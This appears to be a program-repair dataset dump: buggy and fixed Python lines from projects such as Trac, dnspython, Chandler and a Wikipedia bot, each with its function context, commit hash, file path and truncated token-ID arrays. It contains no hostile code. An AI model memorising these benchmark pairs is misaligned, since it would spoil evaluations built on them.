3489fc1ad1f871f05615c51ddeca3e4a586b5982 /local1/tlutelli/issta_data/temp/all_python//python/2006_temp/2006/11399/3489fc1ad1f871f05615c51ddeca3e4a586b5982/bmovl.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 9613, 12, 2890, 16, 5441, 4672, 3536, 1089, 1140, 72, 3536, 309, 486, 365, 18, 25709, 1527, 80, 30, 365, 18, 25709, 1527, 80, 273, 5932, 4331, 81, 1527, 80, 12, 2890, 18, 2819, 16, 3...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 9613, 12, 2890, 16, 5441, 4672, 3536, 1089, 1140, 72, 3536, 309, 486, 365, 18, 25709, 1527, 80, 30, 365, 18, 25709, 1527, 80, 273, 5932, 4331, 81, 1527, 80, 12, 2890, 18, 2819, 16, 3...
href = Href(req.base_path).chrome
href = req.href if not filename.startswith('/'): href = href.chrome
def add_stylesheet(req, filename, mimetype='text/css'): """Add a link to a style sheet to the HDF data set so that it gets included in the generated HTML page. """ if filename.startswith('common/') and 'htdocs_location' in req.chrome: href = Href(req.chrome['htdocs_location']) filename = filename[7:] else: href = Href(req.base_path).chrome add_link(req, 'stylesheet', href(filename), mimetype=mimetype)
1480ce893410f394fd9e2d2ec4ceb87ea9f6e7ae /local1/tlutelli/issta_data/temp/all_python//python/2006_temp/2006/9317/1480ce893410f394fd9e2d2ec4ceb87ea9f6e7ae/chrome.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 527, 67, 19403, 12, 3658, 16, 1544, 16, 12595, 2218, 955, 19, 5212, 11, 4672, 3536, 986, 279, 1692, 358, 279, 2154, 6202, 358, 326, 21673, 501, 444, 1427, 716, 518, 5571, 5849, 316, 32...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 527, 67, 19403, 12, 3658, 16, 1544, 16, 12595, 2218, 955, 19, 5212, 11, 4672, 3536, 986, 279, 1692, 358, 279, 2154, 6202, 358, 326, 21673, 501, 444, 1427, 716, 518, 5571, 5849, 316, 32...
@type port: int"""
@type source_port: int"""
def udp(q, where, timeout=None, port=53, af=None, source=None, source_port=0): """Return the response obtained after sending a query via UDP. @param q: the query @type q: dns.message.Message @param where: where to send the message @type where: string containing an IPv4 or IPv6 address @param timeout: The number of seconds to wait before the query times out. If None, the default, wait forever. @type timeout: float @param port: The port to which to send the message. The default is 53. @type port: int @param af: the address family to use. The default is None, which causes the address family to use to be inferred from the form of of where. If the inference attempt fails, AF_INET is used. @type af: int @rtype: dns.message.Message object @param source: source address. The default is the IPv4 wildcard address. @type source: string @param source_port: The port from which to send the message. The default is 0. @type port: int""" wire = q.to_wire() if af is None: try: af = dns.inet.af_for_address(where) except: af = dns.inet.AF_INET if af == dns.inet.AF_INET: destination = (where, port) if source is not None: source = (source, source_port) elif af == dns.inet.AF_INET6: destination = (where, port, 0, 0) if source is not None: source = (source, source_port, 0, 0) s = socket.socket(af, socket.SOCK_DGRAM, 0) try: expiration = _compute_expiration(timeout) s.setblocking(0) if source is not None: s.bind(source) _wait_for_writable(s, expiration) s.sendto(wire, destination) _wait_for_readable(s, expiration) (wire, from_address) = s.recvfrom(65535) finally: s.close() if from_address != destination: raise UnexpectedSource r = dns.message.from_wire(wire, keyring=q.keyring, request_mac=q.mac) if not q.is_response(r): raise BadResponse return r
8e57bde05a804229251f00b67c7105bad69dc78f /local1/tlutelli/issta_data/temp/all_python//python/2006_temp/2006/12385/8e57bde05a804229251f00b67c7105bad69dc78f/query.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 16673, 12, 85, 16, 1625, 16, 2021, 33, 7036, 16, 1756, 33, 8643, 16, 10073, 33, 7036, 16, 1084, 33, 7036, 16, 1084, 67, 655, 33, 20, 4672, 3536, 990, 326, 766, 12700, 1839, 5431, 279...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 16673, 12, 85, 16, 1625, 16, 2021, 33, 7036, 16, 1756, 33, 8643, 16, 10073, 33, 7036, 16, 1084, 33, 7036, 16, 1084, 67, 655, 33, 20, 4672, 3536, 990, 326, 766, 12700, 1839, 5431, 279...
/.../chandler... --catch=tests --profileDir=test_profile --parcelPath=tools/cats/DataFiles --catsPerfLog=test_profile/time.log --scriptFile=tools/QATestScripts/Performance/PerfImportCalendar.py --create
/.../release/RunPython... Chandler.py --catch=tests --profileDir=test_profile --parcelPath=tools/cats/DataFiles --catsPerfLog=test_profile/time.log --scriptFile=tools/QATestScripts/Performance/PerfImportCalendar.py --create
def runPerfTests(options, tests=None): """ Run the Performance Test Suite >>> options = parseOptions() >>> checkOptions(options) >>> options.dryrun = True >>> options.verbose = True >>> options.modes = ['debug'] >>> runPerfTests(options) Skipping Performance Tests - release mode not specified False >>> options.modes = ['release'] >>> runPerfTests(options) /.../chandler... --catch=tests --profileDir=test_profile --parcelPath=tools/cats/DataFiles --catsPerfLog=test_profile/time.log --scriptFile=tools/QATestScripts/Performance/PerfImportCalendar.py --create PerfImportCalendar.py 0.00 - + - + - + - + - + - + - + - + - + - + - + - + - + - + - + | 0.00 ... 0.00 ... /.../chandler... --catch=tests --profileDir=test_profile --parcelPath=tools/cats/DataFiles --catsPerfLog=test_profile/time.log --scriptFile=tools/QATestScripts/Performance/PerfLargeDataResizeCalendar.py --restore=test_profile/__repository__.001 PerfLargeDataResizeCalendar.py 0.00 - + - + - + - + - + - + - + - + - + - + - + - + - + - + - + | 0.00 ... 0.00 ... Creating repository for startup time tests ... Startup ... ... Creating repository for startup time tests ... Startup_with_large_calendar ... ... Showing performance log in 5 seconds, Ctrl+C to stop tests - + - + - + - + - + - + - + - + - + - + - + - + - + - + - + False """ failed = False savePWD = os.getcwd() try: if 'release' in options.modes: delayedLogger = DelayedLogger() if not options.dryrun: os.chdir(options.chandlerHome) if tests is None: for item in glob.glob(os.path.join(options.profileDir, '__repository__.0*')): if os.path.isdir(item): build_lib.rmdirs(item) else: os.remove(item) testlist = [] testlistLarge = [] if tests is None: testlistStartup = ['startup', 'startup_large'] for item in glob.glob(os.path.join(options.chandlerHome, 'tools', 'QATestScripts', 'Performance', 'Perf*.py')): if 'PerfLargeData' in item: testlistLarge.append(item) else: testlist.append(item) else: testlistStartup = [] for item in tests: if 'PerfLargeData' in item: testlistLarge.append(item) elif item in ('startup', 'startup_large'): testlistStartup.append(item) else: testlist.append(item) repeat = 1 if options.tbox: repeat = 3 elif options.repeat: repeat = options.repeat # small repo tests if testlist: failed = runScriptPerfTests(options, testlist, repeat=repeat, logger=delayedLogger) # large repo tests if testlistLarge and (not failed or options.noStop): if runScriptPerfTests(options, testlistLarge, largeData=True, repeat=repeat, logger=delayedLogger): failed = True # startup tests if testlistStartup and (not failed or options.noStop): if os.name == 'nt' or sys.platform == 'cygwin': t = build_lib.getCommand(['which', 'time.exe']) if not t: log('time.exe not found, skipping startup performance tests') elif sys.platform == 'darwin': t = build_lib.getCommand(['which', 'gtime']) if t.startswith("no gtime"): log('gtime not found, skipping startup performance tests') log('NOTE: gtime is not part of OS X, you need to compile one' + \ 'yourself (get source from http://directory.fsf.org/time.html)' + \ 'or get it from darwinports project.') else: t = '/usr/bin/time' if os.path.isfile(t): if 'startup' in testlistStartup and runStartupPerfTests(options, t, repeat=repeat, logger=delayedLogger): failed = True if not failed: # Don't continue even if noStop, almost certain these won't work if 'startup_large' in testlistStartup and runStartupPerfTests(options, t, largeData=True, repeat=repeat, logger=delayedLogger): failed = True else: log('time command not found, skipping startup performance tests') if not tests: log('Showing performance log in 5 seconds, Ctrl+C to stop tests') if not options.dryrun: try: time.sleep(5) except KeyboardInterrupt: sys.exit(0) log('- + ' * 15) delayedLogger.logAll() else: log('Skipping Performance Tests - release mode not specified') finally: os.chdir(savePWD) return failed
af34e6a7a2160f1862685baa804a3205994c1ff0 /local1/tlutelli/issta_data/temp/all_python//python/2007_temp/2007/9228/af34e6a7a2160f1862685baa804a3205994c1ff0/rt.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 1086, 22016, 14650, 12, 2116, 16, 7434, 33, 7036, 4672, 3536, 1939, 326, 11217, 1359, 7766, 348, 9519, 225, 4080, 702, 273, 1109, 1320, 1435, 4080, 866, 1320, 12, 2116, 13, 4080, 702, 18...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 1086, 22016, 14650, 12, 2116, 16, 7434, 33, 7036, 4672, 3536, 1939, 326, 11217, 1359, 7766, 348, 9519, 225, 4080, 702, 273, 1109, 1320, 1435, 4080, 866, 1320, 12, 2116, 13, 4080, 702, 18...
if __debug__:
global _world global _debug if _debug:
def __init__(self, **args): """Create an RDF URI (constructor).""" if __debug__: print "Creating RDF.uri args=",args self.uri=None
9d200f22543978d0df7fbde12b64052f94f16755 /local1/tlutelli/issta_data/temp/all_python//python/2006_temp/2006/14754/9d200f22543978d0df7fbde12b64052f94f16755/RDF.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 1001, 2738, 972, 12, 2890, 16, 2826, 1968, 4672, 3536, 1684, 392, 13539, 3699, 261, 12316, 13, 12123, 2552, 389, 18179, 2552, 389, 4148, 309, 389, 4148, 30, 1172, 315, 11092, 13539, 18, ...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 1001, 2738, 972, 12, 2890, 16, 2826, 1968, 4672, 3536, 1684, 392, 13539, 3699, 261, 12316, 13, 12123, 2552, 389, 18179, 2552, 389, 4148, 309, 389, 4148, 30, 1172, 315, 11092, 13539, 18, ...
actions.append([id, name,
actions.append([action_id, name,
def roledetails(id_role=0): """create the string to show details about a role. """ name_role = acca.acc_get_role_name(id_role=id_role) usershlp = acca.acc_get_role_users(id_role) users = [] for (id, email, dummy) in usershlp: users.append([id, email, '<a href="showuserdetails?id_user=%s">show user details</a>' % (id, )]) usertable = tupletotable(header=['id', 'email'], tuple=users) actionshlp = acca.acc_get_role_actions(id_role) actions = [] for (action_id, name, dummy) in actionshlp: actions.append([id, name, '<a href="showactiondetails?id_role=%s&amp;id_action=%s">show action details</a>' % (id_role, action_id), '<a href="simpleauthorization?id_role=%s&amp;id_action=%s">show authorization details</a>' % (id_role, action_id)]) actiontable = tupletotable(header=['id', 'name', '', ''], tuple=actions) # show role details details = '<p>role details:</p>' role_details = acca.acc_get_role_details(id_role=id_role) role_details[3] = role_details[3].replace('\n', '<br />') # Hack for preformatting firerole rules details += tupletotable(header=['id', 'name', 'description', 'firewall like role definition'], tuple=[role_details]) # show connected users details += '<p>users connected to %s:</p>' % (headerstrong(role=name_role, query=0), ) if users: details += usertable else: details += '<p>no users connected.</p>' # show connected authorizations details += '<p>authorizations for %s:</p>' % (headerstrong(role=name_role, query=0), ) if actions: details += actiontable else: details += '<p>no authorizations connected</p>' return details
9296cf1ccbb9dc4cf0464e4ad3d855598e01aca2 /local1/tlutelli/issta_data/temp/all_python//python/2007_temp/2007/1931/9296cf1ccbb9dc4cf0464e4ad3d855598e01aca2/webaccessadmin_lib.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 721, 1259, 1987, 12, 350, 67, 4615, 33, 20, 4672, 3536, 2640, 326, 533, 358, 2405, 3189, 2973, 279, 2478, 18, 3536, 225, 508, 67, 4615, 273, 4078, 69, 18, 8981, 67, 588, 67, 4615, 67...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 721, 1259, 1987, 12, 350, 67, 4615, 33, 20, 4672, 3536, 2640, 326, 533, 358, 2405, 3189, 2973, 279, 2478, 18, 3536, 225, 508, 67, 4615, 273, 4078, 69, 18, 8981, 67, 588, 67, 4615, 67...
self[type].append(entry) except: pass
self[type].append(entry)
def getCacheType(self, type, cp=None): self[type] = [] p = re.compile(type) f = re.compile("FOLLOWUP") m = re.compile("-") x = re.compile(".xml") try: dir = os.listdir(string.strip(cp.get('hipe-cache',type))) cache_path = os.path.abspath(string.strip(cp.get('hipe-cache',type))) except: dir = self.dir cache_path = os.path.abspath(self.options.cache_path) for fname in dir: if f.search(fname): continue if p.search(fname): ifo = m.split(fname)[0] start = m.split(fname)[-2] dur = x.split(m.split(fname)[-1]) try: entry = lal.CacheEntry(ifo+" "+self.options.science_run+" " \ +start+" "+dur[0]+" "+"file://localhost" +cache_path+"/"+fname) self[type].append(entry) except: pass
0aeb93f17c624447b0ca70c34f935c98fa2ae606 /local1/tlutelli/issta_data/temp/all_python//python/2007_temp/2007/3592/0aeb93f17c624447b0ca70c34f935c98fa2ae606/fu_utils.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 8577, 559, 12, 2890, 16, 618, 16, 3283, 33, 7036, 4672, 365, 63, 723, 65, 273, 5378, 293, 273, 283, 18, 11100, 12, 723, 13, 284, 273, 283, 18, 11100, 2932, 29890, 3079, 7923, 312, 27...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 8577, 559, 12, 2890, 16, 618, 16, 3283, 33, 7036, 4672, 365, 63, 723, 65, 273, 5378, 293, 273, 283, 18, 11100, 12, 723, 13, 284, 273, 283, 18, 11100, 2932, 29890, 3079, 7923, 312, 27...
self.__realname = person.realname.text self.__location = person.location.text self.__photos_firstdate = person.photos.firstdate.text self.__photos_firstdatetaken = person.photos.firstdatetaken.text self.__photos_count = person.photos.count.text
self.__realname = getattr((getattr(person, 'realname', u'')), 'text', u'') self.__location = getattr((getattr(person, 'location', u'')), 'text', u'') self.__photos_count = getattr((getattr(getattr(person, 'photos', None), 'count', u'')), 'text', u'') if self.__photos_count: self.__photos_firstdate = person.photos.firstdate.text self.__photos_firstdatetaken = person.photos.firstdatetaken.text else: self.__photos_firstdate = None self.__photos_firstdatetaken = None
def _load_properties(self): """Load User properties from Flickr.""" method = 'flickr.people.getInfo' data = _doget(method, user_id=self.__id)
744f1a93928b0dac85d249074910e4876b58085c /local1/tlutelli/issta_data/temp/all_python//python/2008_temp/2008/5610/744f1a93928b0dac85d249074910e4876b58085c/flickr.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 389, 945, 67, 4738, 12, 2890, 4672, 3536, 2563, 2177, 1790, 628, 29458, 12123, 707, 273, 296, 2242, 16254, 18, 28035, 18, 588, 966, 11, 501, 273, 389, 2896, 588, 12, 2039, 16, 729, 67,...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 389, 945, 67, 4738, 12, 2890, 4672, 3536, 2563, 2177, 1790, 628, 29458, 12123, 707, 273, 296, 2242, 16254, 18, 28035, 18, 588, 966, 11, 501, 273, 389, 2896, 588, 12, 2039, 16, 729, 67,...
p.wait()
my_stdin=file(compstdin, 'r') p = subprocess.Popen([cmd]+args, stdin=my_stdin, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) try: output = SuckOutputWithTimeout(p.stdout, timeout) except ReadTimeoutException: sys.stdout.write('%s[Error: Timed out compilation for %s/%s'% (futuretest, localdir, execname)) if len(compoptslist) > 1: sys.stdout.write('(%s %s)'%(' '.join(globalCompopts),compopts)) sys.stdout.write(']\n') kill_proc(p, killtimeout) continue
def kill_proc(p, timeout): k = subprocess.Popen(['kill',str(p.pid)]) k.wait() now = time.time() end_time = now + timeout # give it a little time while end_time > now: if p.poll(): return now = time.time() # use the big hammer (and don't bother waiting) subprocess.Popen(['kill','-9', str(p.pid)]) return
97dd26e665e2ca235f4c8596da4b25c90663de32 /local1/tlutelli/issta_data/temp/all_python//python/2009_temp/2009/6895/97dd26e665e2ca235f4c8596da4b25c90663de32/sub_test.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 8673, 67, 9381, 12, 84, 16, 2021, 4672, 417, 273, 6652, 18, 52, 3190, 12, 3292, 16418, 2187, 701, 12, 84, 18, 6610, 13, 5717, 417, 18, 7048, 1435, 2037, 273, 813, 18, 957, 1435, 679,...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 8673, 67, 9381, 12, 84, 16, 2021, 4672, 417, 273, 6652, 18, 52, 3190, 12, 3292, 16418, 2187, 701, 12, 84, 18, 6610, 13, 5717, 417, 18, 7048, 1435, 2037, 273, 813, 18, 957, 1435, 679,...
if w[0] != '-' and w[-2:] in ('.o', '.a'):
if w[0] not in ('-', '$') and w[-2:] in ('.o', '.a'):
def select(e, mods, vars, mod, skipofiles): files = [] for w in mods[mod]: w = treatword(w) if not w: continue w = expandvars(w, vars) for w in string.split(w): if skipofiles and w[-2:] == '.o': continue if w[0] != '-' and w[-2:] in ('.o', '.a'): w = os.path.join(e, w) if w[:2] in ('-L', '-R'): w = w[:2] + os.path.join(e, w[2:]) files.append(w) return files
8fd17554bd4e238eaa470bf37125b327ba6dd27f /local1/tlutelli/issta_data/temp/all_python//python/2006_temp/2006/3187/8fd17554bd4e238eaa470bf37125b327ba6dd27f/checkextensions.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 2027, 12, 73, 16, 15546, 16, 4153, 16, 681, 16, 2488, 792, 1449, 4672, 1390, 273, 5378, 364, 341, 316, 15546, 63, 1711, 14542, 341, 273, 10116, 1095, 12, 91, 13, 309, 486, 341, 30, 1...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 2027, 12, 73, 16, 15546, 16, 4153, 16, 681, 16, 2488, 792, 1449, 4672, 1390, 273, 5378, 364, 341, 316, 15546, 63, 1711, 14542, 341, 273, 10116, 1095, 12, 91, 13, 309, 486, 341, 30, 1...
def broadcast (block, methodName, notification, stopAtEventBounary = True):
def broadcast (block, methodName, notification, stopAtEventBoundary = True):
def broadcast (block, methodName, notification, stopAtEventBounary = True): """ Call method named methodName on every block and it's children who implements it, except for the block that posted the event, to avoid recursive calls. """ if block != notification.data['sender']: callMethod (block, methodName, notification) for child in block.childrenBlocks: if child and not (stopAtEventBounary and child.eventBoundary): broadcast (child, methodName, notification)
17a973049cda617d81dbd984b7e263c75297178e /local1/tlutelli/issta_data/temp/all_python//python/2006_temp/2006/9228/17a973049cda617d81dbd984b7e263c75297178e/Views.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 8959, 261, 2629, 16, 4918, 16, 3851, 16, 2132, 861, 1133, 11941, 273, 1053, 4672, 3536, 3049, 707, 4141, 4918, 603, 3614, 1203, 471, 518, 1807, 2325, 10354, 4792, 518, 16, 1335, 364, 326...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 8959, 261, 2629, 16, 4918, 16, 3851, 16, 2132, 861, 1133, 11941, 273, 1053, 4672, 3536, 3049, 707, 4141, 4918, 603, 3614, 1203, 471, 518, 1807, 2325, 10354, 4792, 518, 16, 1335, 364, 326...
self.inode= (sb.st_dev, sb.st_ino)
self.inode = (sb.st_dev, sb.st_ino)
def connect(self, **kwargs): assert(self.database) cdb = self._connectData() assert(cdb["database"]) kwargs.setdefault("timeout", self.TIMEOUT) #kwargs.setdefault("command_logfile", open("/tmp/sqlite.log", "a")) try: self.dbh = sqlite3.connect(cdb["database"], **kwargs) except sqlite3.InternalError, e: if str(e) == 'database is locked': raise sqlerrors.DatabaseLocked(e) raise # add a regexp funtion to enable SELECT FROM bar WHERE bar REGEXP .* self.dbh.create_function('regexp', 2, _regexp) # add the serialized timestampt function self.dbh.create_function("unix_timestamp", 0, _timestamp) self.loadSchema() if self.database in self.VIRTUALS: self.inode = (None, None) self.closed = False return True
aa0bf1e49868d6fb4af65cb7092568297b28d8db /local1/tlutelli/issta_data/temp/all_python//python/2006_temp/2006/8747/aa0bf1e49868d6fb4af65cb7092568297b28d8db/sqlite_drv.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 3077, 12, 2890, 16, 2826, 4333, 4672, 1815, 12, 2890, 18, 6231, 13, 276, 1966, 273, 365, 6315, 3612, 751, 1435, 1815, 12, 71, 1966, 9614, 6231, 6, 5717, 1205, 18, 542, 1886, 2932, 4538...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 3077, 12, 2890, 16, 2826, 4333, 4672, 1815, 12, 2890, 18, 6231, 13, 276, 1966, 273, 365, 6315, 3612, 751, 1435, 1815, 12, 71, 1966, 9614, 6231, 6, 5717, 1205, 18, 542, 1886, 2932, 4538...
2*5 + 2*5^2 + 4*5^3 + 3*5^4 + 5^5 + 3*5^7 + 2*5^8 + 4*5^9 + 2*5^10 + 2*5^11 + 5^12 + 5^14 + 3*5^15 + 5^16 + 4*5^18 + 4*5^19 + 5^20 + 3*5^21 + 2*5^22 + 2*5^23 + 5^24 + 5^25 + 3*5^27 + 2*5^28 + 4*5^29 + O(5^30)
2*5 + 2*5^2 + 4*5^3 + 3*5^4 + 5^5 + 3*5^7 + 2*5^8 + 4*5^9 + 2*5^10 + 2*5^11 + 5^12 + 5^14 + 3*5^15 + 5^16 + 4*5^18 + 4*5^19 + 5^20 + 3*5^21 + 2*5^22 + 2*5^23 + 5^24 + 5^25 + 3*5^27 + 2*5^28 + 3*5^29 + O(5^30) Check that results are consistent over a range of precision: sage: max_prec = 40 sage: p = 3 sage: K = pAdicField(p, max_prec) sage: full_log = (1 + p + O(p**max_prec)).log() sage: for prec in range(2, max_prec): ... assert (1 + p + O(p**prec)).log() == full_log AUTHORS: -- David Harvey (2006-09-13): corrected subtle precision bug (need to take denominators into account! -- see trac TODO: -- Surely there must exist an $O(N^{1+\epsilon})$ time algorithm for this? The current one is pretty much quadratic in the precision.
def log(self): r""" Compute the p-adic logarithm of any nonzero element of $\Q_p$. (See below for normalization.)
a2f7ebaeaa112902a775cc540ee3dbfc66dd4587 /local1/tlutelli/issta_data/temp/all_python//python/2006_temp/2006/9417/a2f7ebaeaa112902a775cc540ee3dbfc66dd4587/padic.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 613, 12, 2890, 4672, 436, 8395, 8155, 326, 293, 17, 20333, 613, 31249, 434, 1281, 16966, 930, 434, 271, 64, 53, 67, 84, 8, 18, 261, 9704, 5712, 364, 13728, 12998, 2, 0, 0, 0, 0, 0,...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 613, 12, 2890, 4672, 436, 8395, 8155, 326, 293, 17, 20333, 613, 31249, 434, 1281, 16966, 930, 434, 271, 64, 53, 67, 84, 8, 18, 261, 9704, 5712, 364, 13728, 12998, 2, -100, -100, -100, ...
pl3 = wikipedia.Page(pl.site(),arg.args[0]) wikipedia.output(u"NOTE: %s is redirect to %s" % (pl.aslink(forceInterwiki = True), pl3.aslink(forceInterwiki = True))) if pl == self.inpl: isredirect = 1 for pl2 in self.todo: counter.minus(pl2.site()) self.todo = {} pass elif not globalvar.followredirect: print "NOTE: not following redirects." else: if self.conditionalAdd(pl3, counter, pl): if globalvar.shownew: wikipedia.output(u"%s: %s gives new redirect %s" % (self.inpl.aslink(), pl.aslink(forceInterwiki = True), pl3.aslink(forceInterwiki = True)))
try: pl3 = wikipedia.Page(pl.site(),arg.args[0]) wikipedia.output(u"NOTE: %s is redirect to %s" % (pl.aslink(forceInterwiki = True), pl3.aslink(forceInterwiki = True))) if pl == self.inpl: isredirect = 1 for pl2 in self.todo: counter.minus(pl2.site()) self.todo = {} pass elif not globalvar.followredirect: print "NOTE: not following redirects." else: if self.conditionalAdd(pl3, counter, pl): if globalvar.shownew: wikipedia.output(u"%s: %s gives new redirect %s" % (self.inpl.aslink(), pl.aslink(forceInterwiki = True), pl3.aslink(forceInterwiki = True))) except UnicodeDecodeError: wikipedia.output(u"BUG>>> processing %s: could not decode redirect to %s:%s" % (pl.aslink(forceInterwiki=True),pl.site(),arg.args[0]))
def workDone(self, counter): """This is called by a worker to tell us that the promised work was completed as far as possible. The only argument is an instance of a counter class, that has methods minus() and plus() to keep counts of the total work todo.""" # Loop over all the pages that should have been taken care of for pl in self.pending: # Mark the page as done self.done[pl] = pl.site()
bdf1d24a639a2a24fab020ac6bef32a2b3dac649 /local1/tlutelli/issta_data/temp/all_python//python/2006_temp/2006/4404/bdf1d24a639a2a24fab020ac6bef32a2b3dac649/interwiki.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 1440, 7387, 12, 2890, 16, 3895, 4672, 3536, 2503, 353, 2566, 635, 279, 4322, 358, 9276, 584, 716, 326, 3012, 5918, 1440, 1703, 5951, 487, 10247, 487, 3323, 18, 1021, 1338, 1237, 353, 392...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
